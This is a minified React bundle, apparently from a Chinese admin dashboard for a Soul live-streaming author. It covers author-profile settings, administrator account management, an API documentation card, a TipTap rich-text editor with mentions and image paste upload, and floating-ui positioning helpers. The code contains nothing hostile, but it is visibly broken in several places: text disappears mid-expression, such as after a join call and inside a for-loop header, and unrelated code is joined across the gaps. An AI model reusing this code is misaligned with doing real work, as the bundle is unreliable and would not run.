break-words",children:Wn&&s.jsxs(s.Fragment,{children:[s.jsxs("p",{children:["确定删除「SOUL链接人与事-",Wn.name,"」?将同时删除存客宝对应获客计划。"]}),s.jsxs("p",{className:"mt-1.5",children:["二次确认:删除后无法恢复,文章中的 @",Wn.name," 将无法正常跳转。"]})]})})]}),s.jsxs(on,{className:"gap-2 sm:gap-2 pt-1",children:[s.jsx(te,{variant:"outline",size:"sm",className:"border-gray-600 text-gray-300",onClick:()=>Zs(null),children:"取消"}),s.jsx(te,{variant:"destructive",size:"sm",className:"bg-red-600 hover:bg-red-700",onClick:async()=>{Wn&&(await Bs(`/api/db/persons?personId=${Wn.personId}`),Zs(null),qr(),ie.success("已删除"))},children:"确定删除"})]})]})})]})}const ba={name:"卡若",avatar:"K",avatarImg:"",title:"Soul派对房主理人 · 私域运营专家",bio:'每天早上6点到9点,在Soul派对房分享真实的创业故事。专注私域运营与项目变现,用"云阿米巴"模式帮助创业者构建可持续的商业体系。',stats:[{label:"商业案例",value:"62"},{label:"连续直播",value:"365天"},{label:"派对分享",value:"1000+"}],highlights:["5年私域运营经验","帮助100+品牌从0到1增长","连续创业者,擅长商业模式设计"]};function vw(t){return Array.isArray(t)?t.map(e=>e&&typeof e=="object"&&"label"in e&&"value"in e?{label:String(e.label),value:String(e.value)}:{label:"",value:""}).filter(e=>e.label||e.value):ba.stats}function Nw(t){return Array.isArray(t)?t.map(e=>typeof e=="string"?e:String(e??"")).filter(Boolean):ba.highlights}function uV(){const[t,e]=b.useState(ba),[n,r]=b.useState(!0),[a,i]=b.useState(!1),[o,c]=b.useState(!1),u=b.useRef(null);b.useEffect(()=>{De("/api/admin/author-settings").then(k=>{const C=k==null?void 0:k.data;C&&typeof C=="object"&&e({name:String(C.name??ba.name),avatar:String(C.avatar??ba.avatar),avatarImg:String(C.avatarImg??""),title:String(C.title??ba.title),bio:String(C.bio??ba.bio),stats:vw(C.stats).length?vw(C.stats):ba.stats,highlights:Nw(C.highlights).length?Nw(C.highlights):ba.highlights})}).catch(console.error).finally(()=>r(!1))},[]);const h=async()=>{i(!0);try{const k={name:t.name,avatar:t.avatar||"K",avatarImg:t.avatarImg,title:t.title,bio:t.bio,stats:t.stats.filter(T=>T.label||T.value),highlights:t.highlights.filter(Boolean)},C=await vt("/api/admin/author-settings",k);if(!C||C.success===!1){ie.error("保存失败: "+(C&&typeof C=="object"&&"error"in C?C.error:""));return}i(!1);const E=document.createElement("div");E.className="fixed top-4 right-4 z-50 px-4 py-2 rounded-lg bg-[#38bdac] text-white text-sm shadow-lg",E.textContent="作者设置已保存",document.body.appendChild(E),setTimeout(()=>E.remove(),2e3)}catch(k){console.error(k),ie.error("保存失败: "+(k instanceof Error?k.message:String(k)))}finally{i(!1)}},f=async k=>{var E;const C=(E=k.target.files)==null?void 0:E[0];if(C){c(!0);try{const T=new FormData;T.append("file",C),T.append("folder","avatars");const I=pf(),O={};I&&(O.Authorization=`Bearer ${I}`);const R=await(await fetch(go("/api/upload"),{method:"POST",body:T,credentials:"include",headers:O})).json();R!=null&&R.success&&(R!=null&&R.url)?e(D=>({...D,avatarImg:R.url})):ie.error("上传失败: "+((R==null?void 0:R.error)||"未知错误"))}catch(T){console.error(T),ie.error("上传失败")}finally{c(!1),u.current&&(u.current.value="")}}},m=()=>e(k=>({...k,stats:[...k.stats,{label:"",value:""}]})),g=k=>e(C=>({...C,stats:C.stats.filter((E,T)=>T!==k)})),y=(k,C,E)=>e(T=>({...T,stats:T.stats.map((I,O)=>O===k?{...I,[C]:E}:I)})),N=()=>e(k=>({...k,highlights:[...k.highlights,""]})),w=k=>e(C=>({...C,highlights:C.highlights.filter((E,T)=>T!==k)})),v=(k,C)=>e(E=>({...E,highlights:E.highlights.map((T,I)=>I===k?C:T)}));return n?s.jsx("div",{className:"p-8 text-gray-500",children:"加载中..."}):s.jsxs("div",{className:"p-8 w-full",children:[s.jsxs("div",{className:"flex justify-between items-center mb-8",children:[s.jsxs("div",{children:[s.jsxs("h2",{className:"text-2xl font-bold text-white flex items-center gap-2",children:[s.jsx(co,{className:"w-5 h-5 text-[#38bdac]"}),"作者详情"]}),s.jsx("p",{className:"text-gray-400 mt-1",children:"配置小程序「关于作者」页展示的作者信息,包括头像、简介、统计数据与亮点标签。"})]}),s.jsxs(te,{onClick:h,disabled:a||n,className:"bg-[#38bdac] hover:bg-[#2da396] text-white",children:[s.jsx(bn,{className:"w-4 h-4 mr-2"}),a?"保存中...":"保存"]})]}),s.jsxs("div",{className:"space-y-6",children:[s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl",children:[s.jsxs(Ye,{children:[s.jsxs(Qe,{className:"flex items-center gap-2 text-white",children:[s.jsx(co,{className:"w-4 h-4 text-[#38bdac]"}),"基本信息"]}),s.jsx(It,{className:"text-gray-400",children:"作者姓名、头像、头衔与个人简介,将展示在「关于作者」页顶部。"})]}),s.jsxs(Ee,{className:"space-y-4",children:[s.jsxs("div",{className:"grid grid-cols-2 gap-4",children:[s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"姓名"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",value:t.name,onChange:k=>e(C=>({...C,name:k.target.value})),placeholder:"卡若"})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"首字母占位(无头像时显示)"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white w-20",value:t.avatar,onChange:k=>e(C=>({...C,avatar:k.target.value.slice(0,1)||"K"})),placeholder:"K"})]})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsxs(X,{className:"text-gray-300 flex items-center gap-2",children:[s.jsx(Zw,{className:"w-3 h-3 text-[#38bdac]"}),"头像图片"]}),s.jsxs("div",{className:"flex gap-3 items-center",children:[s.jsx(se,{className:"flex-1 bg-[#0a1628] border-gray-700 text-white",value:t.avatarImg,onChange:k=>e(C=>({...C,avatarImg:k.target.value})),placeholder:"上传或粘贴 URL,如 /uploads/avatars/xxx.png"}),s.jsx("input",{ref:u,type:"file",accept:"image/*",className:"hidden",onChange:f}),s.jsxs(te,{type:"button",variant:"outline",size:"sm",className:"border-gray-600 text-gray-400 shrink-0",disabled:o,onClick:()=>{var k;return(k=u.current)==null?void 0:k.click()},children:[s.jsx(uh,{className:"w-4 h-4 mr-2"}),o?"上传中...":"上传"]})]}),t.avatarImg&&s.jsx("div",{className:"mt-2",children:s.jsx("img",{src:t.avatarImg.startsWith("http")?t.avatarImg:go(t.avatarImg),alt:"头像预览",className:"w-20 h-20 rounded-full object-cover border border-gray-600"})})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"头衔"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",value:t.title,onChange:k=>e(C=>({...C,title:k.target.value})),placeholder:"Soul派对房主理人 · 私域运营专家"})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"个人简介"}),s.jsx(_l,{className:"bg-[#0a1628] border-gray-700 text-white min-h-[120px]",value:t.bio,onChange:k=>e(C=>({...C,bio:k.target.value})),placeholder:"每天早上6点到9点..."})]})]})]}),s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl",children:[s.jsxs(Ye,{children:[s.jsx(Qe,{className:"text-white",children:"统计数据"}),s.jsx(It,{className:"text-gray-400",children:"展示在作者卡片中的数字指标,如「商业案例 62」「连续直播 365天」。第一个「商业案例」的值可由书籍统计自动更新。"})]}),s.jsxs(Ee,{className:"space-y-3",children:[t.stats.map((k,C)=>s.jsxs("div",{className:"flex gap-3 items-center",children:[s.jsx(se,{className:"flex-1 bg-[#0a1628] border-gray-700 text-white",value:k.label,onChange:E=>y(C,"label",E.target.value),placeholder:"标签"}),s.jsx(se,{className:"flex-1 bg-[#0a1628] border-gray-700 text-white",value:k.value,onChange:E=>y(C,"value",E.target.value),placeholder:"数值"}),s.jsx(te,{variant:"ghost",size:"icon",className:"text-gray-400 hover:text-red-400",onClick:()=>g(C),children:s.jsx(ir,{className:"w-4 h-4"})})]},C)),s.jsxs(te,{variant:"outline",size:"sm",onClick:m,className:"border-gray-600 text-gray-400",children:[s.jsx(hn,{className:"w-4 h-4 mr-2"}),"添加统计项"]})]})]}),s.jsxs(Ce,{className:"bg-[#0f2137] border-gray-700/50 shadow-xl",children:[s.jsxs(Ye,{children:[s.jsx(Qe,{className:"text-white",children:"亮点标签"}),s.jsx(It,{className:"text-gray-400",children:"作者优势或成就的简短描述,以标签形式展示。"})]}),s.jsxs(Ee,{className:"space-y-3",children:[t.highlights.map((k,C)=>s.jsxs("div",{className:"flex gap-3 items-center",children:[s.jsx(se,{className:"flex-1 bg-[#0a1628] border-gray-700 text-white",value:k,onChange:E=>v(C,E.target.value),placeholder:"5年私域运营经验"}),s.jsx(te,{variant:"ghost",size:"icon",className:"text-gray-400 hover:text-red-400",onClick:()=>w(C),children:s.jsx(ir,{className:"w-4 h-4"})})]},C)),s.jsxs(te,{variant:"outline",size:"sm",onClick:N,className:"border-gray-600 text-gray-400",children:[s.jsx(hn,{className:"w-4 h-4 mr-2"}),"添加亮点"]})]})]})]})]})}function hV(){const[t,e]=b.useState([]),[n,r]=b.useState(0),[a,i]=b.useState(1),[o]=b.useState(10),[c,u]=b.useState(0),[h,f]=b.useState(""),m=r0(h,300),[g,y]=b.useState(!0),[N,w]=b.useState(null),[v,k]=b.useState(!1),[C,E]=b.useState(null),[T,I]=b.useState(""),[O,L]=b.useState(""),[R,D]=b.useState(""),[_,Z]=b.useState("admin"),[ne,fe]=b.useState("active"),[xe,$]=b.useState(!1);async function H(){var U;y(!0),w(null);try{const le=new URLSearchParams({page:String(a),pageSize:String(o)});m.trim()&&le.set("search",m.trim());const J=await De(`/api/admin/users?${le}`);J!=null&&J.success?(e(J.records||[]),r(J.total??0),u(J.totalPages??0)):w(J.error||"加载失败")}catch(le){const J=le;w(J.status===403?"无权限访问":((U=J==null?void 0:J.data)==null?void 0:U.error)||"加载失败"),e([])}finally{y(!1)}}b.useEffect(()=>{H()},[a,o,m]);const oe=()=>{E(null),I(""),L(""),D(""),Z("admin"),fe("active"),k(!0)},P=U=>{E(U),I(U.username),L(""),D(U.name||""),Z(U.role==="super_admin"?"super_admin":"admin"),fe(U.status==="disabled"?"disabled":"active"),k(!0)},K=async()=>{var U;if(!T.trim()){w("用户名不能为空");return}if(!C&&!O){w("新建时密码必填,至少 6 位");return}if(O&&O.length<6){w("密码至少 6 位");return}w(null),$(!0);try{if(C){const le=await zt("/api/admin/users",{id:C.id,password:O||void 0,name:R.trim(),role:_,status:ne});le!=null&&le.success?(k(!1),H()):w((le==null?void 0:le.error)||"保存失败")}else{const le=await vt("/api/admin/users",{username:T.trim(),password:O,name:R.trim(),role:_});le!=null&&le.success?(k(!1),H()):w((le==null?void 0:le.error)||"保存失败")}}catch(le){const J=le;w(((U=J==null?void 0:J.data)==null?void 0:U.error)||"保存失败")}finally{$(!1)}},V=async U=>{var le;if(confirm("确定删除该管理员?"))try{const J=await Bs(`/api/admin/users?id=${U}`);J!=null&&J.success?H():w((J==null?void 0:J.error)||"删除失败")}catch(J){const Y=J;w(((le=Y==null?void 0:Y.data)==null?void 0:le.error)||"删除失败")}},z=U=>{if(!U)return"-";try{const le=new Date(U);return isNaN(le.getTime())?U:le.toLocaleString("zh-CN")}catch{return U}};return s.jsxs("div",{className:"p-8 w-full",children:[s.jsxs("div",{className:"flex justify-between items-center mb-6",children:[s.jsxs("div",{children:[s.jsxs("h2",{className:"text-2xl font-bold text-white flex items-center gap-2",children:[s.jsx(_c,{className:"w-5 h-5 text-[#38bdac]"}),"管理员用户"]}),s.jsx("p",{className:"text-gray-400 mt-1",children:"后台登录账号管理,仅超级管理员可操作"})]}),s.jsxs("div",{className:"flex items-center gap-2",children:[s.jsx(se,{placeholder:"搜索用户名/昵称",value:h,onChange:U=>f(U.target.value),className:"w-48 bg-[#0f2137] border-gray-700 text-white placeholder:text-gray-500"}),s.jsx(te,{variant:"outline",size:"sm",onClick:H,disabled:g,className:"border-gray-600 text-gray-300",children:s.jsx(Ke,{className:`w-4 h-4 ${g?"animate-spin":""}`})}),s.jsxs(te,{onClick:oe,className:"bg-[#38bdac] hover:bg-[#2da396] text-white",children:[s.jsx(hn,{className:"w-4 h-4 mr-2"}),"新增管理员"]})]})]}),N&&s.jsxs("div",{className:"mb-4 p-3 rounded-lg bg-red-500/10 border border-red-500/20 text-red-400 text-sm flex justify-between items-center",children:[s.jsx("span",{children:N}),s.jsx("button",{type:"button",onClick:()=>w(null),className:"text-red-400 hover:text-red-300",children:"×"})]}),s.jsx(Ce,{className:"bg-[#0f2137] border-gray-700/50",children:s.jsx(Ee,{className:"p-0",children:g?s.jsx("div",{className:"py-12 text-center text-gray-400",children:"加载中..."}):s.jsxs(s.Fragment,{children:[s.jsxs(lr,{children:[s.jsx(cr,{children:s.jsxs(it,{className:"bg-[#0a1628] border-gray-700",children:[s.jsx(ke,{className:"text-gray-400",children:"ID"}),s.jsx(ke,{className:"text-gray-400",children:"用户名"}),s.jsx(ke,{className:"text-gray-400",children:"昵称"}),s.jsx(ke,{className:"text-gray-400",children:"角色"}),s.jsx(ke,{className:"text-gray-400",children:"状态"}),s.jsx(ke,{className:"text-gray-400",children:"创建时间"}),s.jsx(ke,{className:"text-right text-gray-400",children:"操作"})]})}),s.jsxs(dr,{children:[t.map(U=>s.jsxs(it,{className:"border-gray-700/50",children:[s.jsx(ve,{className:"text-gray-300",children:U.id}),s.jsx(ve,{className:"text-white font-medium",children:U.username}),s.jsx(ve,{className:"text-gray-400",children:U.name||"-"}),s.jsx(ve,{children:s.jsx(qe,{variant:"outline",className:U.role==="super_admin"?"border-amber-500/50 text-amber-400":"border-gray-600 text-gray-400",children:U.role==="super_admin"?"超级管理员":"管理员"})}),s.jsx(ve,{children:s.jsx(qe,{variant:"outline",className:U.status==="active"?"border-[#38bdac]/50 text-[#38bdac]":"border-gray-500 text-gray-500",children:U.status==="active"?"正常":"已禁用"})}),s.jsx(ve,{className:"text-gray-500 text-sm",children:z(U.createdAt)}),s.jsxs(ve,{className:"text-right",children:[s.jsx(te,{variant:"ghost",size:"sm",onClick:()=>P(U),className:"text-gray-400 hover:text-[#38bdac]",children:s.jsx(Wt,{className:"w-4 h-4"})}),s.jsx(te,{variant:"ghost",size:"sm",onClick:()=>V(U.id),className:"text-gray-400 hover:text-red-400",children:s.jsx(Jn,{className:"w-4 h-4"})})]})]},U.id)),t.length===0&&!g&&s.jsx(it,{children:s.jsx(ve,{colSpan:7,className:"text-center py-12 text-gray-500",children:N==="无权限访问"?"仅超级管理员可查看":"暂无管理员"})})]})]}),c>1&&s.jsx("div",{className:"p-4 border-t border-gray-700/50",children:s.jsx(is,{page:a,pageSize:o,total:n,totalPages:c,onPageChange:i})})]})})}),s.jsx(Dt,{open:v,onOpenChange:k,children:s.jsxs(At,{className:"bg-[#0f2137] border-gray-700 text-white max-w-sm",children:[s.jsx(Lt,{children:s.jsx(_t,{className:"text-white",children:C?"编辑管理员":"新增管理员"})}),s.jsxs("div",{className:"space-y-4 py-4",children:[s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"用户名"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"登录用户名",value:T,onChange:U=>I(U.target.value),disabled:!!C}),C&&s.jsx("p",{className:"text-xs text-gray-500",children:"用户名不可修改"})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:C?"新密码(留空不改)":"密码"}),s.jsx(se,{type:"password",className:"bg-[#0a1628] border-gray-700 text-white",placeholder:C?"留空表示不修改":"至少 6 位",value:O,onChange:U=>L(U.target.value)})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"昵称"}),s.jsx(se,{className:"bg-[#0a1628] border-gray-700 text-white",placeholder:"显示名称",value:R,onChange:U=>D(U.target.value)})]}),s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"角色"}),s.jsxs("select",{value:_,onChange:U=>Z(U.target.value),className:"w-full h-10 px-3 rounded-md bg-[#0a1628] border border-gray-700 text-white",children:[s.jsx("option",{value:"admin",children:"管理员"}),s.jsx("option",{value:"super_admin",children:"超级管理员"})]})]}),C&&s.jsxs("div",{className:"space-y-2",children:[s.jsx(X,{className:"text-gray-300",children:"状态"}),s.jsxs("select",{value:ne,onChange:U=>fe(U.target.value),className:"w-full h-10 px-3 rounded-md bg-[#0a1628] border border-gray-700 text-white",children:[s.jsx("option",{value:"active",children:"正常"}),s.jsx("option",{value:"disabled",children:"禁用"})]})]})]}),s.jsxs(on,{children:[s.jsxs(te,{variant:"outline",onClick:()=>k(!1),className:"border-gray-600 text-gray-300",children:[s.jsx(ir,{className:"w-4 h-4 mr-2"}),"取消"]}),s.jsxs(te,{onClick:K,disabled:xe,className:"bg-[#38bdac] hover:bg-[#2da396] text-white",children:[s.jsx(bn,{className:"w-4 h-4 mr-2"}),xe?"保存中...":"保存"]})]})]})})]})}function jn({method:t,url:e,desc:n,headers:r,body:a,response:i}){const o=t==="GET"?"text-emerald-400":t==="POST"?"text-amber-400":t==="PUT"?"text-blue-400":t==="DELETE"?"text-rose-400":"text-gray-400";return s.jsxs("div",{className:"rounded-lg bg-[#0a1628]/60 border border-gray-700/50 p-4 space-y-3",children:[s.jsxs("div",{className:"flex items-center gap-2 flex-wrap",children:[s.jsx("span",{className:`font-mono font-semibold ${o}`,children:t}),s.jsx("code",{className:"text-sm text-[#38bdac] break-all",children:e})]}),n&&s.jsx("p",{className:"text-gray-400 text-sm",children:n}),r&&r.length>0&&s.jsxs("div",{children:[s.jsx("p",{className:"text-gray-500 text-xs mb-1",children:"Headers"}),s.jsx("pre",{className:"text-xs text-gray-300 font-mono overflow-x-auto p-2 rounded bg-black/30",children:r.join(` + `).join(""),e.querySelectorAll(".mention-item").forEach(o=>{o.addEventListener("click",()=>{const c=parseInt(o.getAttribute("data-index")||"0");a&&r[c]&&a({id:r[c].id,label:r[c].name})})}))};return{onStart:o=>{if(e=document.createElement("div"),e.className="mention-popup",document.body.appendChild(e),r=o.items,a=o.command,n=0,i(),o.clientRect){const c=o.clientRect();c&&(e.style.top=`${c.bottom+4}px`,e.style.left=`${c.left}px`)}},onUpdate:o=>{if(r=o.items,a=o.command,n=0,i(),o.clientRect&&e){const c=o.clientRect();c&&(e.style.top=`${c.bottom+4}px`,e.style.left=`${c.left}px`)}},onKeyDown:o=>o.event.key==="ArrowUp"?(n=Math.max(0,n-1),i(),!0):o.event.key==="ArrowDown"?(n=Math.min(r.length-1,n+1),i(),!0):o.event.key==="Enter"?(a&&r[n]&&a({id:r[n].id,label:r[n].name}),!0):o.event.key==="Escape"?(e==null||e.remove(),e=null,!0):!1,onExit:()=>{e==null||e.remove(),e=null}}}});function Y$(t){var r;const e=[],n=(r=t.clipboardData)==null?void 0:r.items;if(!n)return e;for(let a=0;a{const u=b.useRef(null),h=b.useRef(null),[f,m]=b.useState(""),[g,y]=b.useState(!1),N=b.useRef(iw(t)),w=b.useCallback((T,I)=>{var D;const O=h.current;if(!O||!n)return!1;const L=Y$(I);if(L.length>0)return I.preventDefault(),(async()=>{for(const z of L)try{const Z=await n(z);Z&&O.chain().focus().setImage({src:Z}).run()}catch(Z){console.error("粘贴图片上传失败",Z)}})(),!0;const R=(D=I.clipboardData)==null?void 0:D.getData("text/html");if(R&&/data:image\/[^;"']+;base64,/i.test(R)){I.preventDefault();const{from:z,to:Z}=O.state.selection;return(async()=>{try{const ne=await Z$(R,n);O.chain().focus().insertContentAt({from:z,to:Z},ne).run()}catch(ne){console.error("粘贴 HTML 内 base64 转换失败",ne)}})(),!0}return!1},[n]),v=H_({extensions:[Az.configure({link:{openOnClick:!1,HTMLAttributes:{class:"rich-link"}}}),Pz.configure({inline:!0,allowBase64:!0}),$z.configure({HTMLAttributes:{class:"mention-tag"},suggestion:J$(r)}),G$,Fz.configure({placeholder:i}),FC.configure({resizable:!0}),$C,_C,zC],content:N.current,onUpdate:({editor:T})=>{e(T.getHTML())},editorProps:{attributes:{class:"rich-editor-content"},handlePaste:w}});b.useEffect(()=>{h.current=v??null},[v]),b.useImperativeHandle(c,()=>({getHTML:()=>(v==null?void 0:v.getHTML())||"",getMarkdown:()=>q$((v==null?void 0:v.getHTML())||"")})),b.useEffect(()=>{if(v&&t!==v.getHTML()){const T=iw(t);T!==v.getHTML()&&v.commands.setContent(T)}},[t]);const k=b.useCallback(async T=>{var O;const I=(O=T.target.files)==null?void 0:O[0];if(!(!I||!v)){if(n){const L=await n(I);L&&v.chain().focus().setImage({src:L}).run()}else{const L=new FileReader;L.onload=()=>{typeof L.result=="string"&&v.chain().focus().setImage({src:L.result}).run()},L.readAsDataURL(I)}T.target.value=""}},[v,n]),C=b.useCallback(T=>{v&&v.chain().focus().insertContent({type:"linkTag",attrs:{label:T.label,url:T.url||"",tagType:T.type||"url",tagId:T.id||"",pagePath:T.pagePath||"",appId:T.appId||"",mpKey:T.type==="miniprogram"&&T.appId||""}}).run()},[v]),E=b.useCallback(()=>{!v||!f||(v.chain().focus().setLink({href:f}).run(),m(""),y(!1))},[v,f]);return v?s.jsxs("div",{className:`rich-editor-wrapper ${o||""}`,children:[s.jsxs("div",{className:"rich-editor-toolbar",children:[s.jsxs("div",{className:"toolbar-group",children:[s.jsx("button",{onClick:()=>v.chain().focus().toggleBold().run(),className:v.isActive("bold")?"is-active":"",type:"button",children:s.jsx(VT,{className:"w-4 h-4"})}),s.jsx("button",{onClick:()=>v.chain().focus().toggleItalic().run(),className:v.isActive("italic")?"is-active":"",type:"button",children:s.jsx(FM,{className:"w-4 h-4"})}),s.jsx("button",{onClick:()=>v.chain().focus().toggleStrike().run(),className:v.isActive("strike")?"is-active":"",type:"button",children:s.jsx(LA,{className:"w-4 h-4"})}),s.jsx("button",{onClick:()=>v.chain().focus().toggleCode().run(),className:v.isActive("code")?"is-active":"",type:"button",children:s.jsx(lM,{className:"w-4 h-4"})})]}),s.jsx("div",{className:"toolbar-divider"}),s.jsxs("div",{className:"toolbar-group",children:[s.jsx("button",{onClick:()=>v.chain().focus().toggleHeading({level:1}).run(),className:v.isActive("heading",{level:1})?"is-active":"",type:"button",children:s.jsx(AM,{className:"w-4 h-4"})}),s.jsx("button",{onClick:()=>v.chain().focus().toggleHeading({level:2}).run(),className:v.isActive("heading",{level:2})?"is-active":"",type:"button",children:s.jsx(RM,{className:"w-4 h-4"})}),s.jsx("button",{onClick:()=>v.chain().focus().toggleHeading({level:3}).run(),className:v.isActive("heading",{level:3})?"is-active":"",type:"button",children:s.jsx(OM,{className:"w-4 h-4"})})]}),s.jsx("div",{className:"toolbar-divider"}),s.jsxs("div",{className:"toolbar-group",children:[s.jsx("button",{onClick:()=>v.chain().focus().toggleBulletList().run(),className:v.isActive("bulletList")?"is-active":"",type:"button",children:s.jsx(JM,{className:"w-4 h-4"})}),s.jsx("button",{onClick:()=>v.chain().focus().toggleOrderedList().run(),className:v.isActive("orderedList")?"is-active":"",type:"button",children:s.jsx(qM,{className:"w-4 h-4"})}),s.jsx("button",{onClick:()=>v.chain().focus().toggleBlockquote().run(),className:v.isActive("blockquote")?"is-active":"",type:"button",children:s.jsx(NA,{className:"w-4 h-4"})}),s.jsx("button",{onClick:()=>v.chain().focus().setHorizontalRule().run(),type:"button",children:s.jsx(iA,{className:"w-4 h-4"})})]}),s.jsx("div",{className:"toolbar-divider"}),s.jsxs("div",{className:"toolbar-group",children:[s.jsx("input",{ref:u,type:"file",accept:"image/*",onChange:k,className:"hidden"}),s.jsx("button",{onClick:()=>{var T;return(T=u.current)==null?void 0:T.click()},type:"button",children:s.jsx(Zw,{className:"w-4 h-4"})}),s.jsx("button",{onClick:()=>y(!g),className:v.isActive("link")?"is-active":"",type:"button",children:s.jsx(Pg,{className:"w-4 h-4"})}),s.jsx("button",{onClick:()=>v.chain().focus().insertTable({rows:3,cols:3,withHeaderRow:!0}).run(),type:"button",children:s.jsx(zA,{className:"w-4 h-4"})})]}),s.jsx("div",{className:"toolbar-divider"}),s.jsxs("div",{className:"toolbar-group",children:[s.jsx("button",{onClick:()=>v.chain().focus().undo().run(),disabled:!v.can().undo(),type:"button",children:s.jsx(UA,{className:"w-4 h-4"})}),s.jsx("button",{onClick:()=>v.chain().focus().redo().run(),disabled:!v.can().redo(),type:"button",children:s.jsx(jA,{className:"w-4 h-4"})})]}),a.length>0&&s.jsxs(s.Fragment,{children:[s.jsx("div",{className:"toolbar-divider"}),s.jsx("div",{className:"toolbar-group",children:s.jsxs("select",{className:"link-tag-select",onChange:T=>{const I=a.find(O=>O.id===T.target.value);I&&C(I),T.target.value=""},defaultValue:"",children:[s.jsx("option",{value:"",disabled:!0,children:"# 插入链接标签"}),a.map(T=>s.jsx("option",{value:T.id,children:T.label},T.id))]})})]})]}),g&&s.jsxs("div",{className:"link-input-bar",children:[s.jsx("input",{type:"url",placeholder:"输入链接地址...",value:f,onChange:T=>m(T.target.value),onKeyDown:T=>T.key==="Enter"&&E(),className:"link-input"}),s.jsx("button",{onClick:E,className:"link-confirm",type:"button",children:"确定"}),s.jsx("button",{onClick:()=>{v.chain().focus().unsetLink().run(),y(!1)},className:"link-remove",type:"button",children:"移除"})]}),s.jsx(Q2,{editor:v})]}):null});Ex.displayName="RichEditor";const eF=["top","right","bottom","left"],wi=Math.min,zr=Math.max,af=Math.round,Qu=Math.floor,Ws=t=>({x:t,y:t}),tF={left:"right",right:"left",bottom:"top",top:"bottom"},nF={start:"end",end:"start"};function Tx(t,e,n){return zr(t,wi(e,n))}function Sa(t,e){return typeof t=="function"?t(e):t}function Ca(t){return t.split("-")[0]}function Fl(t){return t.split("-")[1]}function G0(t){return t==="x"?"y":"x"}function J0(t){return t==="y"?"height":"width"}const rF=new Set(["top","bottom"]);function Hs(t){return rF.has(Ca(t))?"y":"x"}function Y0(t){return G0(Hs(t))}function sF(t,e,n){n===void 0&&(n=!1);const r=Fl(t),a=Y0(t),i=J0(a);let o=a==="x"?r===(n?"end":"start")?"right":"left":r==="start"?"bottom":"top";return e.reference[i]>e.floating[i]&&(o=of(o)),[o,of(o)]}function aF(t){const e=of(t);return[Mx(t),e,Mx(e)]}function Mx(t){return t.replace(/start|end/g,e=>nF[e])}const lw=["left","right"],cw=["right","left"],iF=["top","bottom"],oF=["bottom","top"];function lF(t,e,n){switch(t){case"top":case"bottom":return n?e?cw:lw:e?lw:cw;case"left":case"right":return e?iF:oF;default:return[]}}function cF(t,e,n,r){const a=Fl(t);let i=lF(Ca(t),n==="start",r);return a&&(i=i.map(o=>o+"-"+a),e&&(i=i.concat(i.map(Mx)))),i}function of(t){return t.replace(/left|right|bottom|top/g,e=>tF[e])}function dF(t){return{top:0,right:0,bottom:0,left:0,...t}}function BC(t){return typeof t!="number"?dF(t):{top:t,right:t,bottom:t,left:t}}function lf(t){const{x:e,y:n,width:r,height:a}=t;return{width:r,height:a,top:n,left:e,right:e+r,bottom:n+a,x:e,y:n}}function dw(t,e,n){let{reference:r,floating:a}=t;const i=Hs(e),o=Y0(e),c=J0(o),u=Ca(e),h=i==="y",f=r.x+r.width/2-a.width/2,m=r.y+r.height/2-a.height/2,g=r[c]/2-a[c]/2;let y;switch(u){case"top":y={x:f,y:r.y-a.height};break;case"bottom":y={x:f,y:r.y+r.height};break;case"right":y={x:r.x+r.width,y:m};break;case"left":y={x:r.x-a.width,y:m};break;default:y={x:r.x,y:r.y}}switch(Fl(e)){case"start":y[o]-=g*(n&&h?-1:1);break;case"end":y[o]+=g*(n&&h?-1:1);break}return y}async function uF(t,e){var n;e===void 0&&(e={});const{x:r,y:a,platform:i,rects:o,elements:c,strategy:u}=t,{boundary:h="clippingAncestors",rootBoundary:f="viewport",elementContext:m="floating",altBoundary:g=!1,padding:y=0}=Sa(e,t),N=BC(y),v=c[g?m==="floating"?"reference":"floating":m],k=lf(await i.getClippingRect({element:(n=await(i.isElement==null?void 0:i.isElement(v)))==null||n?v:v.contextElement||await(i.getDocumentElement==null?void 0:i.getDocumentElement(c.floating)),boundary:h,rootBoundary:f,strategy:u})),C=m==="floating"?{x:r,y:a,width:o.floating.width,height:o.floating.height}:o.reference,E=await(i.getOffsetParent==null?void 0:i.getOffsetParent(c.floating)),T=await(i.isElement==null?void 0:i.isElement(E))?await(i.getScale==null?void 0:i.getScale(E))||{x:1,y:1}:{x:1,y:1},I=lf(i.convertOffsetParentRelativeRectToViewportRelativeRect?await i.convertOffsetParentRelativeRectToViewportRelativeRect({elements:c,rect:C,offsetParent:E,strategy:u}):C);return{top:(k.top-I.top+N.top)/T.y,bottom:(I.bottom-k.bottom+N.bottom)/T.y,left:(k.left-I.left+N.left)/T.x,right:(I.right-k.right+N.right)/T.x}}const hF=async(t,e,n)=>{const{placement:r="bottom",strategy:a="absolute",middleware:i=[],platform:o}=n,c=i.filter(Boolean),u=await(o.isRTL==null?void 0:o.isRTL(e));let h=await o.getElementRects({reference:t,floating:e,strategy:a}),{x:f,y:m}=dw(h,r,u),g=r,y={},N=0;for(let v=0;v({name:"arrow",options:t,async fn(e){const{x:n,y:r,placement:a,rects:i,platform:o,elements:c,middlewareData:u}=e,{element:h,padding:f=0}=Sa(t,e)||{};if(h==null)return{};const m=BC(f),g={x:n,y:r},y=Y0(a),N=J0(y),w=await o.getDimensions(h),v=y==="y",k=v?"top":"left",C=v?"bottom":"right",E=v?"clientHeight":"clientWidth",T=i.reference[N]+i.reference[y]-g[y]-i.floating[N],I=g[y]-i.reference[y],O=await(o.getOffsetParent==null?void 0:o.getOffsetParent(h));let 